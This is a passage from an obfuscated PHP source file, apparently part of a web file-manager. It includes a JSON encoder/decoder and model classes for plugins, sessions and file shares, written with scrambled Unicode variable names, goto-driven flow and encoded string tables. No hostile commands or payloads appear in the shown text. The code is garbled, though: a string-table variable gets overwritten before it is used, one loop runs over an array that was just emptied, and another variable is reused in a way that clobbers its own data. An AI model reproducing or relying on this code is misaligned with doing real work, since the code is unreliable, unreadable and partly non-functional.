$B҅ . $f[113]; case $f[1921]: if (is_array($C) && count($C) && array_keys($C) !== range(0, sizeof($C) - 1)) { $cߊ = array_map(array($this, $f[1922]), array_keys($C), array_values($C)); foreach ($cߊ as $a) { if (Services_JSON::isError($a)) { return $a; } } return $f[1072] . join($f[47], $cߊ) . $f[312]; } $CḴꆕ = array_map(array($this, $f[1923]), $C); foreach ($CḴꆕ as $E) { if (Services_JSON::isError($E)) { return $E; } } return $f[154] . join($f[47], $CḴꆕ) . $f[472]; case $f[1924]: $f = get_object_vars($C); $cߊ = array_map(array($this, $f[1922]), array_keys($f), array_values($f)); foreach ($cߊ as $a) { if (Services_JSON::isError($a)) { return $a; } } return $f[1072] . join($f[47], $cߊ) . $f[312]; default: return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? $f[101] : new Services_JSON_Error(gettype($C) . $f[1925]); } } function name_value($F, $F̓) { $F‘̷ = $this->encode($F̓); if (Services_JSON::isError($F‘̷)) { return $F‘̷; } return $this->encode(strval($F)) . $_SERVER[ѽ][4] . $F‘̷; } function reduce_string($Dɴ) { $e߫ =& $_SERVER[ѽ]; $Dɴ = preg_replace(array($e߫[1926], $e߫[1927], $e߫[1928]), $e߫[33], $Dɴ); return trim($Dɴ); } function decode($b˶) { $Dګ =& $_SERVER[ѽ]; $b˶ = $this->reduce_string($b˶); switch (strtolower($b˶)) { case $Dګ[1576]: return !0; case $Dګ[1578]: return !1; case $Dګ[101]: return null; default: $cݢ䙊 = array(); if (is_numeric($b˶)) { return (double) $b˶ == (int) $b˶ ? (int) $b˶ : (double) $b˶; } elseif (preg_match($Dګ[1929], $b˶, $cݢ䙊) && $cݢ䙊[1] == $cݢ䙊[2]) { $b£ = substr($b˶, 0, 1); $eˠ = substr($b˶, 1, -1); $fÂو = $Dګ[33]; $bš = strlen($eˠ); for ($E螥 = 0; $E螥 < $bš; ++$E螥) { $B = substr($eˠ, $E螥, 2); $D󐫗ݺ = ord($eˠ[$E螥]); switch (!0) { case $B == $Dګ[1917]: $fÂو .= chr(8); ++$E螥; break; case $B == $Dګ[1553]: $fÂو .= chr(9); ++$E螥; break; case $B == $Dګ[1551]: $fÂو .= chr(10); ++$E螥; break; case $B == $Dګ[1918]: $fÂو .= chr(12); ++$E螥; break; case $B == $Dګ[1552]: $fÂو .= chr(13); ++$E螥; break; case $B == $Dګ[1337]: case $B == $Dګ[1930]: case $B == $Dګ[1546]: case $B == $Dګ[1548]: if ($b£ == $Dګ[113] && $B != $Dګ[1930] || $b£ == $Dګ[55] && $B != $Dګ[1337]) { $fÂو .= $eˠ[++$E螥]; } break; case preg_match($Dګ[1931], substr($eˠ, $E螥, 6)): $dڔœ = chr(hexdec(substr($eˠ, $E螥 + 2, 2))) . chr(hexdec(substr($eˠ, $E螥 + 4, 2))); $fÂو .= $this->utf162utf8($dڔœ); $E螥 += 5; break; case $D󐫗ݺ >= 32 && $D󐫗ݺ <= 127: $fÂو .= $eˠ[$E螥]; break; case ($D󐫗ݺ & 224) == 192: $fÂو .= substr($eˠ, $E螥, 2); ++$E螥; break; case ($D󐫗ݺ & 240) == 224: $fÂو .= substr($eˠ, $E螥, 3); $E螥 += 2; break; case ($D󐫗ݺ & 248) == 240: $fÂو .= substr($eˠ, $E螥, 4); $E螥 += 3; break; case ($D󐫗ݺ & 252) == 248: $fÂو .= substr($eˠ, $E螥, 5); $E螥 += 4; break; case ($D󐫗ݺ & 254) == 252: $fÂو .= substr($eˠ, $E螥, 6); $E螥 += 5; break; } } return $fÂو; } elseif (preg_match($Dګ[1932], $b˶) || preg_match($Dګ[1933], $b˶)) { goto Dٲ; Dٲ: if ($b˶[0] == $Dګ[154]) { $EىҠ = array(SERVICES_JSON_IN_ARR); $bݴ = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $EىҠ = array(SERVICES_JSON_IN_OBJ); $B = array(); } else { $EىҠ = array(SERVICES_JSON_IN_OBJ); $B = new stdClass(); } } array_push($EىҠ, array($Dګ[1934] => SERVICES_JSON_SLICE, $Dګ[260] => 0, $Dګ[1935] => !1)); $eˠ = substr($b˶, 1, -1); goto dʐƍ; dʐƍ: $eˠ = $this->reduce_string($eˠ); if ($eˠ == $Dګ[33]) { if (reset($EىҠ) == SERVICES_JSON_IN_ARR) { return $bݴ; } else { return $B; } } $bš = strlen($eˠ); goto cǪ; cǪ: for ($E螥 = 0; $E螥 <= $bš; ++$E螥) { $cגż = end($EىҠ); $B = substr($eˠ, $E螥, 2); if ($E螥 == $bš || $eˠ[$E螥] == $Dګ[47] && $cגż[$Dګ[1934]] == SERVICES_JSON_SLICE) { $dᏄ = substr($eˠ, $cגż[$Dګ[260]], $E螥 - $cגż[$Dګ[260]]); array_push($EىҠ, array($Dګ[1934] => SERVICES_JSON_SLICE, $Dګ[260] => $E螥 + 1, $Dګ[1935] => !1)); if (reset($EىҠ) == SERVICES_JSON_IN_ARR) { array_push($bݴ, $this->decode($dᏄ)); } elseif (reset($EىҠ) == SERVICES_JSON_IN_OBJ) { $E˰ = array(); if (preg_match($Dګ[1936], $dᏄ, $E˰)) { $dވ͆ = $this->decode($E˰[1]); $cɶ = $this->decode($E˰[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $B[$dވ͆] = $cɶ; } else { $B->{$dވ͆} = $cɶ; } } elseif (preg_match($Dګ[1937], $dᏄ, $E˰)) { $dވ͆ = $E˰[1]; $cɶ = $this->decode($E˰[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $B[$dވ͆] = $cɶ; } else { $B->{$dވ͆} = $cɶ; } } } } elseif (($eˠ[$E螥] == $Dګ[113] || $eˠ[$E螥] == $Dګ[55]) && $cגż[$Dګ[1934]] != SERVICES_JSON_IN_STR) { array_push($EىҠ, array($Dګ[1934] => SERVICES_JSON_IN_STR, $Dګ[260] => $E螥, $Dګ[1935] => $eˠ[$E螥])); } elseif ($eˠ[$E螥] == $cגż[$Dګ[1935]] && $cגż[$Dګ[1934]] == SERVICES_JSON_IN_STR && (strlen(substr($eˠ, 0, $E螥)) - strlen(rtrim(substr($eˠ, 0, $E螥), $Dګ[95]))) % 2 != 1) { array_pop($EىҠ); } elseif ($eˠ[$E螥] == $Dګ[154] && in_array($cגż[$Dګ[1934]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($EىҠ, array($Dګ[1934] => SERVICES_JSON_IN_ARR, $Dګ[260] => $E螥, $Dګ[1935] => !1)); } elseif ($eˠ[$E螥] == $Dګ[472] && $cגż[$Dګ[1934]] == SERVICES_JSON_IN_ARR) { array_pop($EىҠ); } elseif ($eˠ[$E螥] == $Dګ[1072] && in_array($cגż[$Dګ[1934]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($EىҠ, array($Dګ[1934] => SERVICES_JSON_IN_OBJ, $Dګ[260] => $E螥, $Dګ[1935] => !1)); } elseif ($eˠ[$E螥] == $Dګ[312] && $cגż[$Dګ[1934]] == SERVICES_JSON_IN_OBJ) { array_pop($EىҠ); } elseif ($B == $Dګ[1938] && in_array($cגż[$Dګ[1934]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($EىҠ, array($Dګ[1934] => SERVICES_JSON_IN_CMT, $Dګ[260] => $E螥, $Dګ[1935] => !1)); $E螥++; } elseif ($B == $Dګ[1939] && $cגż[$Dګ[1934]] == SERVICES_JSON_IN_CMT) { array_pop($EىҠ); $E螥++; for ($cѣՏ = $cגż[$Dګ[260]]; $cѣՏ <= $E螥; ++$cѣՏ) { $eˠ = substr_replace($eˠ, $Dګ[50], $cѣՏ, 1); } } } if (reset($EىҠ) == SERVICES_JSON_IN_ARR) { return $bݴ; } elseif (reset($EىҠ) == SERVICES_JSON_IN_OBJ) { return $B; } goto CΒ; CΒ: } } } function isError($Bƅ, $CԐ = null) { $DԨŏ =& $_SERVER[ѽ]; if (class_exists($DԨŏ[1940])) { return PEAR::isError($Bƅ, $CԐ); } elseif (is_object($Bƅ) && (get_class($Bƅ) == $DԨŏ[1941] || is_subclass_of($Bƅ, $DԨŏ[1941]))) { return !0; } return !1; } } if (class_exists($_SERVER[ѽ][1942])) { class Services_JSON_Error extends PEAR_Error { function __construct($Cℵ = "\x75\156\153\156\x6f\x77\156\x20\145\x72\162\157\x72", $A֝ = null, $eقޥ = null, $a = null, $F = null) { parent::PEAR_Error($Cℵ, $A֝, $eقޥ, $a, $F); } } } else { class Services_JSON_Error { function __construct($B¿͐ = "\x75\156\153\x6e\x6f\x77\x6e\40\145\x72\162\157\x72", $e˳ = null, $bϘ = null, $A重ͭ = null, $C摟 = null) { } } } goto a; d؎: class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\56\160\x6c\x75\147\151\156\x4c\x69\x73\x74"; public $field = array("\156\x61\155\145", "\x73\x74\141\x74\165\x73", "\162\x65\x67\x69\145\x73\x74", "\143\x6f\156\x66\x69\x67"); public function loadList($Dַ = false) { $Bץ = array_to_keyvalue($this->listData(), $_SERVER[ѽ][28]); if ($Dַ) { return $Bץ[$Dַ]; } return $Bץ; } public function init() { $C% =& $_SERVER[ѽ]; Hook::trigger($C%[2168]); $CΦ = $this->loadPluginList(); foreach ($CΦ as $e̙ => $B) { $C犠 = $this->appAllow($e̙, $B); if (!$C犠) { continue; } foreach ($B[$C%[2169]] as $C => $bд) { Hook::bind($C, $bд); } } Hook::trigger($C%[2170]); Hook::trigger(ACTION); } public function appAllow($Dዧ, $B, $A = true) { $fȾ =& $_SERVER[ѽ]; $B╍ߕ = PLUGIN_DIR . $Dዧ . $fȾ[2171]; if (!is_array($B) || !is_array($B[$fȾ[2169]]) || !is_file($B╍ߕ) || $B[$fȾ[699]] != 1) { return !1; } if ($A && !Action($fȾ[2172])->checkAuth($Dዧ)) { return !1; } return !0; } public function unInstall($fҗ) { $F =& $_SERVER[ѽ]; $f = $this->loadList($fҗ); if (file_exists(PLUGIN_DIR . $fҗ)) { Hook::apply($fҗ . $F[2173]); } $this->remove($f[$F[364]]); } public function changeStatus($Eõ֘, $B) { $A͕ =& $_SERVER[ѽ]; $fݔ = $this->loadList($Eõ֘); if ($B) { Hook::apply($Eõ֘ . $A͕[2174]); } $this->update($fݔ[$A͕[364]], array($A͕[2175] => $B)); } public function appRegist($f, $Aʯ) { $e̍ =& $_SERVER[ѽ]; $eӦ = $this->loadList($f); if ($eӦ) { $this->update($eӦ[$e̍[364]], array($e̍[2169] => $Aʯ)); } else { $aВǎ = array($e̍[28] => $f, $e̍[2169] => $Aʯ, $e̍[699] => 0, $e̍[6] => $this->getConfigDefault($f)); $this->insert($aВǎ); } } public function getConfigDefault($Bˆ) { $D⒃ =& $_SERVER[ѽ]; $c = array(); $fӒ = $this->getPackageJson($Bˆ); if (!$fӒ && is_array($fӒ[$D⒃[2176]])) { return $c; } foreach ($fӒ[$D⒃[2176]] as $fԆ̥ => $E¸) { if (!isset($E¸[$D⒃[356]]) || isset($c[$fԆ̥])) { continue; } $c[$fԆ̥] = $E¸[$D⒃[356]]; } return $c; } public function getPackageJson($F) { return Hook::apply($F . $_SERVER[ѽ][2177]); } public function getConfig($eё, $BՕٿ = false) { $F =& $_SERVER[ѽ]; $e = array(); $b扷 = $this->loadList($eё); if ($b扷 && is_array($b扷[$F[6]])) { $e = $b扷[$F[6]]; } if (!$e || $BՕٿ) { $e = $this->getConfigDefault($eё); } return $e; } public function setConfig($F榟, $Eǃ = false) { goto A; A: $A만 =& $_SERVER[ѽ]; $eئ = $this->loadList($F榟); if (!$eئ) { return !1; } goto f辢; EЮ⌤: $this->update($eئ[$A만[364]], array($A만[6] => $bȄ)); goto fè㱷; f辢: if ($Eǃ == !1) { $Eǃ = $this->getConfigDefault($F榟); } $bȄ = $eئ[$A만[6]]; foreach ($Eǃ as $Fƚȉ => $F܈) { $bȄ[$Fƚȉ] = is_string($F܈) ? trim($F܈) : $F܈; } goto EЮ⌤; fè㱷: } public function viewList() { goto F慽ɸ; F慽ɸ: $a°Δ =& $_SERVER[ѽ]; $B = $this->loadList(); $this->pluginScan($B); goto eھ; DՇ: return $B; goto fƨ; eھ: $B = $this->loadPluginList(); $B = array(); foreach ($B as $dƲ => $B밎ͺ) { unset($B밎ͺ[$a°Δ[2169]], $B밎ͺ[$a°Δ[6]]); $B֏ߖ = PLUGIN_DIR . $B밎ͺ[$a°Δ[28]] . $a°Δ[2171]; if (!is_file($B֏ߖ)) { continue; } $Aʬϊ = Hook::apply($B밎ͺ[$a°Δ[28]] . $a°Δ[2177]); if (is_array($Aʬϊ)) { $B[$dƲ] = array_merge($B밎ͺ, $Aʬϊ); } } goto DՇ; fƨ: } private function loadPluginList() { $Aٜ =& $_SERVER[ѽ]; $dĘ = $this->loadList(); if (strtolower(MOD) == $Aٜ[2178]) { return $dĘ; } $d = Hook::trigger($Aٜ[2179], $dĘ); if ($dĘ && !$d) { die; } return $d ? $d : $dĘ; } private function pluginScan($a᪍) { $A =& $_SERVER[ѽ]; recursion_dir(PLUGIN_DIR, $B, $aӆό, 0); foreach ($B as $B֬݊) { $E = get_path_this($B֬݊); if (isset($a᪍[$E]) || !file_exists($B֬݊ . $A[2180]) || !file_exists($B֬݊ . $A[2171])) { continue; } Hook::apply($E . $A[2174]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\x79\163\x74\145\155\x5f\163\x65\x73\x73\151\x6f\x6e"; public function get($d˚) { $Dңы =& $_SERVER[ѽ]; $fȤ = $this->where(array($Dңы[2181] => $d˚))->find(); if (!is_array($fȤ)) { return !1; } return $fȤ[$Dңы[702]]; } public function set($F߮, $d˙, $D = 3600) { $Fӵ =& $_SERVER[ѽ]; $f¶ = array($Fӵ[2181] => $F߮, $Fӵ[2110] => $d˙, $Fӵ[2182] => $D + time()); if (Session::get($Fӵ[2183])) { $f¶[$Fӵ[1417]] = Session::get($Fӵ[2183]); } else { $f¶[$Fӵ[1417]] = 0; } if ($this->get($F߮)) { return $this->where(array($Fӵ[2181] => $F߮))->save($f¶); } else { return $this->add($f¶, array(), !0); } } public function remove($dϪ) { return $this->where(array($_SERVER[ѽ][2181] => $dϪ))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ѽ][2184] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\x61\x72\145"; protected $dataAuto = array(array("\155\x6f\x64\x69\146\171\x54\151\x6d\x65", "\x74\151\x6d\x65", "\151\156\163\145\x72\164\x2c\x75\160\144\x61\x74\x65", "\146\165\156\143\164\x69\x6f\x6e"), array("\x63\x72\145\141\x74\145\124\151\x6d\x65", "\x74\x69\x6d\145", "\x69\156\x73\145\162\x74", "\x66\165\x6e\143\164\x69\x6f\156"), array("\157\x70\164\x69\x6f\156\x73", '', "\151\x6e\163\145\162\x74\x2c\x75\x70\x64\141\x74\145\x2c\163\145\154\x65\143\x74", "\152\163\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($C⧗) { $e =& $_SERVER[ѽ]; $BڍϤ = isset($C⧗[0]) ? $C⧗[0] : !1; return array($e[2185] => array(USER_ID, $e[2186]), $e[2148] => array($BڍϤ, $e[2187])); } protected function listSimple() { $cÉ = array($_SERVER[ѽ][1417] => USER_ID); $a򌩽 = $this->field($this->fieldList)->where($cÉ)->select(); return $a򌩽 ? $a򌩽 : array(); } protected function getInfo($f, $f = false) { $A˻ =& $_SERVER[ѽ]; if ($f) { return $this->_getShareInfo(array($A˻[437] => $f)); } $DӅ = $this->cacheFunctionGet($A˻[2188], $f); return $DӅ; } public function getInfoByHash($Cź) { return $this->_getShareInfo(array($_SERVER[ѽ][439] => $Cź)); } public function getInfoByPath($d薎) { $Fϟꃇ =& $_SERVER[ѽ]; $b͗ = array($Fϟꃇ[1417] => USER_ID, $Fϟꃇ[366] => $d薎); return $this->_getShareInfo($b͗); } public function getInfoBySourcePath($F) { $b =& $_SERVER[ѽ]; $dȉ = array($b[1417] => USER_ID, $b[1022] => $F); return $this->_getShareInfo($dȉ); } private function _getShareInfo($e) { goto a; eŜ: $e = array($B[437] => $a낊[$B[437]]); $dˆ = $B[2189]; $Cݭ = Model($B[533])->order($B[364])->field($dˆ)->where($e)->select(); goto eٺ; eٺ: if ($a낊[$B[366]] == $B[464]) { $a낊[$B[388]] = IO::info($a낊[$B[1022]]); } else { $a낊[$B[388]] = Model($B[1114])->pathInfo($a낊[$B[366]]); } $a낊[$B[2190]] = $Cݭ; return $a낊; goto D; a: $B =& $_SERVER[ѽ]; $a낊 = $this->where($e)->find(); if (!$a낊) { return !1; } goto eŜ; D: } protected function getInfoAuth($cޡ) { $F壩 =& $_SERVER[ѽ]; $b쎦þ = $this->getInfo($cޡ); $b쎦þ[$F壩[373]] = Model($F壩[450])->authMake($b쎦þ[$F壩[2190]]); return $b쎦þ; } protected function listData($C؞ = null, $f–ߪ = 300) { $Fˑ =& $_SERVER[ѽ]; $d = array(array($Fˑ[442] => array($Fˑ[932], 0), $Fˑ[444] => array($Fˑ[932], 0), $Fˑ[2191] => $Fˑ[2160])); if ($C؞ == $Fˑ[1847]) { $d = array($Fˑ[442] => 1); } else { if ($C؞ == $Fˑ[1011]) { $d = array($Fˑ[444] => 1); } } $d[$Fˑ[1417]] = USER_ID; $a = $this->where($d)->selectPage($f–ߪ); return $a; } protected function listToMe($b󝍴鄅 = 300) { goto cÉ; A䋧: $b亱 = array_to_keyvalue_group($C[$B󂸈[351]], $B󂸈[437]); if (!$b亱) { return $C; } $E㏏ = $B󂸈[2193]; goto eÔ; a: $eҡ = array($B󂸈[517] => SourceModel::TYPE_USER, $B󂸈[452] => USER_ID); if ($F՗) { $eҡ = array(array($B󂸈[517] => SourceModel::TYPE_USER, $B󂸈[452] => USER_ID), array($B󂸈[517] => SourceModel::TYPE_GROUP, $B󂸈[452] => array($B󂸈[7], $F՗)), $B󂸈[2191] => $B󂸈[2160]); } $C = Model($B󂸈[533])->where($eҡ)->selectPage($b󝍴鄅); goto A䋧; cÉ: $B󂸈 =& $_SERVER[ѽ]; $B񄿝 = Session::get($B󂸈[2192]); $F՗ = array_to_keyvalue($B񄿝, $B󂸈[33], $B󂸈[2080]); goto a; eÔ: $eҡ = array($B󂸈[437] => array($B󂸈[381], array_keys($b亱))); $d܍ = $this->field($E㏏)->where($eҡ)->select(); foreach ($d܍ as $Dآ => &$fˮ쭉) { $fˮ쭉[$B󂸈[2190]] = $b亱[$fˮ쭉[$B󂸈[437]]]; } goto cא; cא: $d۳ = array($B󂸈[2194] => $d܍, $B󂸈[2195] => $C[$B󂸈[348]]); return $d۳; goto F; F: } protected function shareAdd($bн, $D) { $Fֶ篔 =& $_SERVER[ѽ]; $e = $this->_addShareData($bн, $D); if (!empty($D[$Fֶ篔[2196]])) { $this->_shareAuthSet($e, $D[$Fֶ篔[2196]]); } $this->shareEventAdd($bн, $D, $Fֶ篔[1014]); return $e; } private function shareEventAdd($C, $D, $Ddž = "\141\x64\x64") { goto dۡ; aǃϚ: return; goto B; dԧ: $d薬 = $BҊ[2199]; if ($BР[$BҊ[442]] == $BҊ[464] && $D[$BҊ[442]] == $BҊ[83]) { $d薬 = $BҊ[2197]; } if ($BР[$BҊ[442]] == $BҊ[83] && $D[$BҊ[442]] == $BҊ[464]) { $d薬 = $BҊ[2200]; } goto Bꖽ; dۡ: $BҊ =& $_SERVER[ѽ]; if ($Ddž == $BҊ[1014]) { if ($D[$BҊ[442]] == $BҊ[83]) { Model($BҊ[501])->eventShare($C, $BҊ[2197]); } if ($D[$BҊ[444]] == $BҊ[83]) { Model($BҊ[501])->eventShare($C, $BҊ[2198]); } return; } $BР = $this->getInfoByPath($C); goto dԧ; Bꖽ: if ($BР[$BҊ[444]] == $BҊ[464] && $D[$BҊ[444]] == $BҊ[83]) { $d薬 = $BҊ[2198]; } if ($BР[$BҊ[444]] == $BҊ[83] && $D[$BҊ[444]] == $BҊ[464]) { $d薬 = $BҊ[2201]; } Model($BҊ[501])->eventShare($C, $d薬); goto aǃϚ; B: } private function _addShareData($fگ, $B߄ = array()) { goto e˖; fЈ־: if ($D˸ = $this->where($F˟Ԥ)->find()) { return $D˸[$Dܶ[437]]; } if ($fگ == 0) { $Fݭ = array($Dܶ[28] => get_path_this($B߄[$Dܶ[75]])); } else { $Fݭ = Model($Dܶ[762])->sourceInfo($fگ); if (!$Fݭ) { return !1; } } if (!$B߄[$Dܶ[1325]]) { $B߄[$Dܶ[1325]] = $Fݭ[$Dܶ[28]]; } goto a; f: return $b҇ݟ; goto d˥; a: $c鬚 = array($Dܶ[1408] => USER_ID, $Dܶ[380] => $fگ, $Dܶ[1325] => $Dܶ[33], $Dܶ[442] => 0, $Dܶ[444] => 0, $Dܶ[1022] => $Dܶ[33], $Dܶ[292] => $Dܶ[33], $Dܶ[807] => $Dܶ[33], $Dܶ[2203] => 0, $Dܶ[2204] => 0, $Dܶ[713] => 0, $Dܶ[2205] => $Dܶ[33], $Dܶ[439] => $Dܶ[33]); $e = explode($Dܶ[47], $Dܶ[2206]); foreach ($e as $Aɂ) { if (!isset($B߄[$Aɂ])) { continue; } $c鬚[$Aɂ] = $B߄[$Aɂ]; } goto FҞ; e˖: $Dܶ =& $_SERVER[ѽ]; $F˟Ԥ = array($Dܶ[380] => $fگ, $Dܶ[1408] => USER_ID); if ($fگ == 0) { $F˟Ԥ = array($Dܶ[2202] => $B߄[$Dܶ[1022]], $Dܶ[1408] => USER_ID); } goto fЈ־; FҞ: $b҇ݟ = $this->add($c鬚); $FƑŹ = array($Dܶ[439] => short_id($b҇ݟ)); $this->where(array($Dܶ[436] => $b҇ݟ))->save($FƑŹ); goto f; d˥: } private function _shareAuthSet($Cɉ, $Cݩ) { goto cҬ; cŹ: return $B䞵->addAll($c, array(), !0); goto B; dɥ: $B䞵->where(array($cą̣[437] => $Cɉ))->delete(); $c = array(); foreach ($Cݩ as $c) { $eݖ = SourceModel::TYPE_USER; if ($c[$cą̣[368]] == SourceModel::TYPE_GROUP) { $eݖ = SourceModel::TYPE_GROUP; } $d« = array($cą̣[437] => $Cɉ, $cą̣[368] => $eݖ, $cą̣[452] => intval($c[$cą̣[452]]), $cą̣[2208] => 0, $cą̣[2209] => -1); if ($c[$cą̣[2208]]) { $d«[$cą̣[2208]] = $c[$cą̣[2208]]; } else { if ($c[$cą̣[2209]]) { $d«[$cą̣[2209]] = $c[$cą̣[2209]]; } } $c[] = $d«; } goto cŹ; cҬ: $cą̣ =& $_SERVER[ѽ]; if (!is_array($Cݩ)) { return !1; } $B䞵 = Model($cą̣[2207]); goto dɥ; B: } public function numViewAdd($e̶왏) { $e氳أ =& $_SERVER[ѽ]; $E = array($e氳أ[436] => $e̶왏); $this->where($E)->setAdd($e氳أ[2203]); } public function numDownloadAdd($BdzͿ) { $EԿ =& $_SERVER[ѽ]; $eӺĻȭ = array($EԿ[436] => $BdzͿ); $this->where($eӺĻȭ)->setAdd($EԿ[2204]); } protected function shareEdit($d୵, $e) { goto Fǒ巉; a…: $this->_checkLinkShare($e, $C륓Ν); $bȭ = array(); $A펯 = explode($aʂ[47], $aʂ[2210]); goto B; Fǒ巉: $aʂ =& $_SERVER[ѽ]; $C륓Ν = $this->getInfo($d୵); if (!$C륓Ν) { return !1; } goto a…; B: foreach ($A펯 as $b۫ϕ) { if (!array_key_exists($b۫ϕ, $e)) { continue; } $bȭ[$b۫ϕ] = $e[$b۫ϕ]; } $this->shareEventAdd($C륓Ν[$aʂ[366]], $e, $aʂ[2048]); $this->where(array($aʂ[436] => $d୵))->save($bȭ); goto Aʬߪ; Aʬߪ: if (isset($e[$aʂ[2196]])) { $this->_shareAuthSet($d୵, $e[$aʂ[2196]]); } return !0; goto A暿ٓ; A暿ٓ: } private function _checkLinkShare($dӒ߲, $d) { goto dս; A: if ($d[$Bõ[388]][$Bõ[29]] != $Bõ[164]) { $fʐޏ = $this->_folderReport($C); if (!$fʐޏ) { return; } show_json(LNG($Bõ[2211]) . $Bõ[2212] . $fʐޏ, !1); } $Fďƥ = Model($Bõ[762])->fileInfoGet($d[$Bõ[388]][$Bõ[366]]); if (!$Fďƥ) { return; } goto AϿ; dս: $Bõ =& $_SERVER[ѽ]; if ($dӒ߲[$Bõ[442]] != $Bõ[83]) { return; } $C = $d[$Bõ[388]][$Bõ[366]]; goto A; AϿ: $F = $this->shareFileMeta($Fďƥ[$Bõ[415]]); if (isset($F[$Bõ[356]]) && $F[$Bõ[356]] == $Bõ[83]) { show_json(LNG($Bõ[2213]), !1); } goto aӲ; aӲ: } private function _folderReport($e) { goto cу; Aε͔: $EК = substr($C[$C̶֎[455]], strpos($C[$C̶֎[455]], $Fξ)); $e⋸ = array($C̶֎[366] => array($C̶֎[7], trim($EК, $C̶֎[47]))); $fυ = Model($C̶֎[762])->where($e⋸)->field($C̶֎[28])->select(); goto Fؙ; AĘ: if (!$eڃ) { return !1; } $eڃ = array_to_keyvalue($eڃ, $C̶֎[33], $C̶֎[415]); $Fξ = $C̶֎[47] . $e . $C̶֎[47]; goto Cԟ; Cԟ: $e⋸ = array($C̶֎[415] => array($C̶֎[7], $eڃ), $C̶֎[455] => array($C̶֎[761], "\45{$Fξ}\x25"), $C̶֎[393] => 0); $C = Model($C̶֎[762])->where($e⋸)->field($C̶֎[2215])->find(); if (!$C) { return !1; } goto Aε͔; Fؙ: $eء = array_to_keyvalue($fυ, $C̶֎[33], $C̶֎[28]); $eء[] = $C[$C̶֎[28]]; return implode($C̶֎[8], $eء); goto Eﲾ; cу: $C̶֎ =& $_SERVER[ѽ]; $e⋸ = array($C̶֎[415] => array($C̶֎[932], 0), $C̶֎[699] => 3); $eڃ = Model($C̶֎[2214])->where($e⋸)->field($C̶֎[415])->select(); goto AĘ; Eﲾ: } protected function remove($C) { goto f; f: $dÖ =& $_SERVER[ѽ]; if (is_array($C)) { $C = array($dÖ[7], $C); } $Fď = array($dÖ[437] => $C); goto Eȏ; Eȏ: $bՒ = $this->where($Fď)->delete(); if ($bՒ) { Model($dÖ[533])->where(array($dÖ[437] => $C))->delete(); } $C䵲ͩ = is_array($C) ? $C[1] : array($C); goto bÍ; bÍ: for ($E = 0; $E < count($C䵲ͩ); $E++) { $fË = $this->getInfo($C䵲ͩ[$E]); if ($fË[$dÖ[444]] == $dÖ[83]) { Model($dÖ[501])->eventShare($fË[$dÖ[366]], $dÖ[2201]); } if ($fË[$dÖ[442]] == $dÖ[83]) { Model($dÖ[501])->eventShare($fË[$dÖ[366]], $dÖ[2200]); } } return $bՒ; goto e懔; e懔: } protected function removeBySource($b) { goto E쪻; c组: $a֝ = array_to_keyvalue($a֝, $f؊[33], $f؊[437]); if (!$a֝) { return; } $a = array($f؊[436] => array($f؊[381], $a֝)); goto C; E쪻: $f؊ =& $_SERVER[ѽ]; $a = array($f؊[380] => array($f؊[381], $b)); $a֝ = $this->field($f؊[437])->where($a)->select(); goto c组; C: $this->where($a)->delete(); Model($f؊[533])->where($a)->delete(); goto A; A: } public function listAll($eΉ) { goto C𻼴; C𻼴: $D =& $_SERVER[ѽ]; $Eߐ = array(); if ($eΉ[$D[1417]]) { $Eߐ[$D[1417]] = $eΉ[$D[1417]]; } goto b; b: if ($eΉ[$D[712]]) { $Dש = $eΉ[$D[713]] ? $eΉ[$D[713]] : strtotime(date($D[2216])); $Eߐ[$D[184]] = array($D[318], array($eΉ[$D[712]], $Dש)); } if ($eΉ[$D[29]]) { $Eߐ[$eΉ[$D[29]]] = 1; } else { $Eߐ[] = array($D[442] => array($D[932], 0), $D[444] => array($D[932], 0), $D[2191] => $D[2160]); } if ($eΉ[$D[2156]]) { $Eߐ[] = array($D[439] => $eΉ[$D[2156]], $D[1325] => array($D[761], "\45{$eΉ[$D[2156]]}\45"), $D[2191] => $D[2160]); } goto a; a: $C楍 = $this->_makeOrder()->where($Eߐ)->selectPage(20); if (empty($C楍[$D[351]])) { return array(); } $this->_listDataApply($C楍[$D[351]]); goto c勬т; c勬т: return $C楍; goto e; e: } public function listDataApply($e) { $this->_listDataApply($e); return $e; } private function _listDataApply(&$b) { $BÐ =& $_SERVER[ѽ]; $aѱ = array_to_keyvalue($b, $BÐ[33], $BÐ[1417]); $eҷҋ = Model($BÐ[473])->userListInfo(array_unique($aѱ)); $D϶ = array_to_keyvalue($b, $BÐ[33], $BÐ[366]); $DǏ = Model($BÐ[762])->sourceListInfo($D϶, !0); foreach ($b as &$Cꕍ) { $b = $Cꕍ[$BÐ[1417]]; $Cꕍ[$BÐ[2217]] = $eҷҋ[$b] ? $eҷҋ[$b] : !1; $D = $Cꕍ[$BÐ[366]]; $Cꕍ[$BÐ[388]] = $DǏ[$D] ? $DǏ[$D] : !1; } } private function _makeOrder($Dұ = '') { goto dҕ; b֍: $Dұ = $Dұ . "{$b}\40{$C桋}"; return $this->order($Dұ); goto f; dҕ: $B =& $_SERVER[ѽ]; $Fχ붯 = array($B[184], $B[713], $B[2203], $B[2204]); $dꉟ = array($B[398] => $B[399], $B[400] => $B[401]); goto D뉌; D뉌: $b = Input::get($B[403], $B[7], $B[386], $Fχ붯); $C桋 = Input::get($B[404], $B[7], $B[2218], array($B[2155], $B[400])); $C桋 = $dꉟ[$C桋]; goto b֍; f: } public function reportAdd($e˦ʮ) { $Fꉣ =& $_SERVER[ѽ]; $Aɩ = array($Fꉣ[437] => $e˦ʮ[$Fꉣ[437]], $Fꉣ[1417] => USER_ID); if (Model($Fꉣ[2214])->where($Aɩ)->find()) { return !1; } $f̻ = array($Fꉣ[437] => $e˦ʮ[$Fꉣ[437]], $Fꉣ[1325] => $e˦ʮ[$Fꉣ[1325]], $Fꉣ[366] => $e˦ʮ[$Fꉣ[366]], 